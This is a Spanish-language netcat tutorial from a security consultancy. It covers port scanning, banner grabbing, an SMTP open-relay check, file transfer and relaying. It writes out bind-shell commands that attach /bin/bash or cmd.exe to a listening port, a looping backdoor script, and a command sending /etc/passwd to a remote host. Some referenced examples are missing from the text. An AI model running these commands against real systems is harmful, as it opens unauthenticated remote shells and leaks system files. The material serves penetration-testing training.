Documentos de Académico
Documentos de Profesional
Documentos de Cultura
03/05/2011
www.portantier.com
Introducción
¿Por qué es viejo? Porque nació en el año 1996 y, para ser un software ¡eso es
mucho tiempo! ¿Por qué es querido? Porque es una herramienta excelente,
simple, eficaz y muy potente! Netcat es un programa que nos permite leer y
escribir datos utilizando conexiones TCP y UDP: esto nos será de mucha ayuda
tanto para utilizarlo como un programa individual como para complementarlo
con otras herramientas.
Algunas de las cosas que vamos a poder hacer con Netcat son: escanear
puertos, transferir archivos, caputrar banners, redireccionar puertos y abrir
puertas traseras.
Como nos permite hacer tantas cosas, esta herramienta debe estar presente en
cada equipo destinada a realizar penetration tests, análisis de vulnerabilidades,
ethical hacking y cualquier otro tipo de actividad divertida.
Instalación
Este software ya viene pre-empaquetado en TODAS las distribuciones Linux y
BSD. Para el caso de Windows, podemos utilizar el siguiente link:
http://www.portantier.com/downloads/netcat_nt_1.10.zip
Escaneo de puertos
Si bien existen muchas herramientas especializadas para escanear puertos (y
recomiendo su uso, sobre todo de nmap), es bueno saber que con netcat
también podemos hacerlo.
Las opciones que nos interesan para el escaneo de puertos son las siguientes:
Así que, para escanear los puertos TCP 50, 100 y 105 de
www.escaneame.com, podemos hacer lo siguiente:
También podemos utilizar rangos de puertos, por ejemplo, para escanear los
puertos desde el 1 hasta el 3000:
Banner Grabbing
Esta es una técnica de enumeración, que consiste en capturar los banners que
muestran las aplicaciones al conectarnos a ellas. Podremos obtener
información como el tipo de software, la versión y el sistema operativo. Esto se
torna de vital importancia cuando estamos buscando vulnerabilidades en un
sistema.
Podemos hacer lo mismo con HTTP (puerto 80). Una vez conectados,
enviamos un requerimiento, para anlizar la respuesta.
En este caso, el requerimiento a enviar será “HEAD / HTTP/1.0″, que solicita
los encabezados del servidor. (NOTA: Tenemos que presionar dos veces la
teclar ‘ENTER’ después de haber escrito el requerimiento para que el servidor
lo procese).
Borré los datos del servidor para no comprometer a nadie, pero ustedes podrían
obtener algo así:
fabian@debian:~$ nc -v servidorweb.com 80
servidorweb.com [ip.ip.ip.ip] 80 (www) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 05:33:50 GMT
Server: Apache/2.0.59 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=iso-8859-1
Connection: close
De esta forma podemos obtener información acerca del servidor SMTP al cuál
nos estamos conectando. Este tipo de peticiones se utiliza por varios clientes
de correo para saber qué tipo de comandos soporta el servidor, qué métodos
de autenticación, etc.
nc -vv mail.algo.com 25
Con “MAIL FROM:” estamos definiendo el mail de origen, y con “RCTP TO:”
estamos definiendo el destinatario. En este caso, el servidor no tiene relación
con los dominios ‘whitehouse.gov’ ni con ‘microsoft.com’. Igualmente, nos ha
contestado con “OK” y nos permitiría enviar el correo. Esta es una configuración
errónea que suele estar corregida en la gran mayoría de las configuraciones por
defecto de los software de correo, pero aún podemos encontrar alguno que otro
por la red.
Para conocer mejor cómo interactuar con cada uno de los servicios estándar de
internet, les sugiero investigar las RFC correspondientes a cada estándar. No
es necesario que lean toooda la RFC, generalmente los comandos aceptados
se encuentran en resumenes, por wikipedia u otras fuentes.
Redireccionando ejecutables
De todas sus opciones, sin dudas la mas poderosa que tiene netcat es “-e”, con
la cual especificamos qué programa queremos ejecutar cuando recibamos una
conexión (sólo disponible en el modo servidor).
nc –l –p 1234 -v –e /bin/bash
nc –l –p 1234 -v –e cmd.exe
nc [ip-de-destino] [puerto]
nc 172.16.66.128 1234
Debemos tener en cuenta que esto nos proporciona acceso a una shell, sin
pedirnos ninguna autenticación y con los privilegios del usuario que ejecutó
netcat. Tampoco estaríamos encriptando la información. Así que no lo utilicen
como un reemplazo a SSH, porque es una opción muy insegura. Pero, como
vamos a ver más adelante, es una opción de muchísima utilidad para otras
cosas.
Como podrán imaginar, gran parte de los backdoors existentes, utilizados por
troyanos y rootkits, están basados en el uso de la herramienta netcat.
#!/bin/bash
while 1
do
netcat -v -l -p 1234 -e /bin/bash
done
Esto es algo bastante sencillo, pero podemos extender el script para que, por
ejemplo, guarde un archivo de log con las conexiones que se establecieron,
etc, etc.
Cliente:
nc -w3 [ip-del-servidor] [puerto ] < [archivo-que-queremos-enviar]
nc -w3 172.16.66.128 1234 < /etc/passwd
Cliente:
nc -w3 [ip-del-servidor] [puerto] > [archivo-de-salida]
nc -w3 172.16.66.128 1234 > salida.txt
El poderoso “relay”
Mezclando un poco de todo lo que vimos, podemos hacer algo realmente
fascinante. Crearemos un archivo especial, y lo conectaremos con nectat, de
modo que todo lo que escribamos en el archivo, sea enviado a través de la red
hacia otra máquina. (Les dije que era fascinante).
No hace falta explicar para qué podría servirnos tal característica, básicamente
porque eso queda librado a su imaginación y a la necesidad que tengamos en
el momento. Pero, créanme, es un excelente recurso en situaciones adversas.
Cliente:
cd /tmp
mkfifo fifo
mknod fifo p
#!/bin/bash
while [ true ]
do
line=`cat fifo`
echo $line | netcat -q 1 172.16.66.128 1234
done
Este script monitorea constantemente el archivo “fifo” y hace que todo lo escrito
en el mismo sea redirijido a netcat, el cual lo envía a través de la red al servidor
Servidor:
#!/bin/bash
while [ true ]
do
netcat -l -p 1234 >> salida.txt
done
Ahora, simplemente tenemos que escribir en el archivo fifo del cliente, para que
la información sea enviada al servidor.
Herramientas derivadas
En base al éxito que ha tenido netcat durante varios años, y que es una
herramienta de código abierto, se han creado varios herramientas que agregan
funcionalidades o están enfocadas en ciertas tareas particulares, como por
ejemplo:
Esto es todo por ahora, espero que les haya sido de utilidad esta información.
http://gitorious.org/portantier/escuela-de-hacking/trees/master
Sobre Portantier Information Security
Portantier Information Security es una consultora que nace en el año 2010, de
la mano de Fabian Portantier y tiene como objetivo principal brindar servicios
exclusivos de seguridad, como auditoría, consultoría y capacitaciones.
Fabian Portantier
www.portantier.com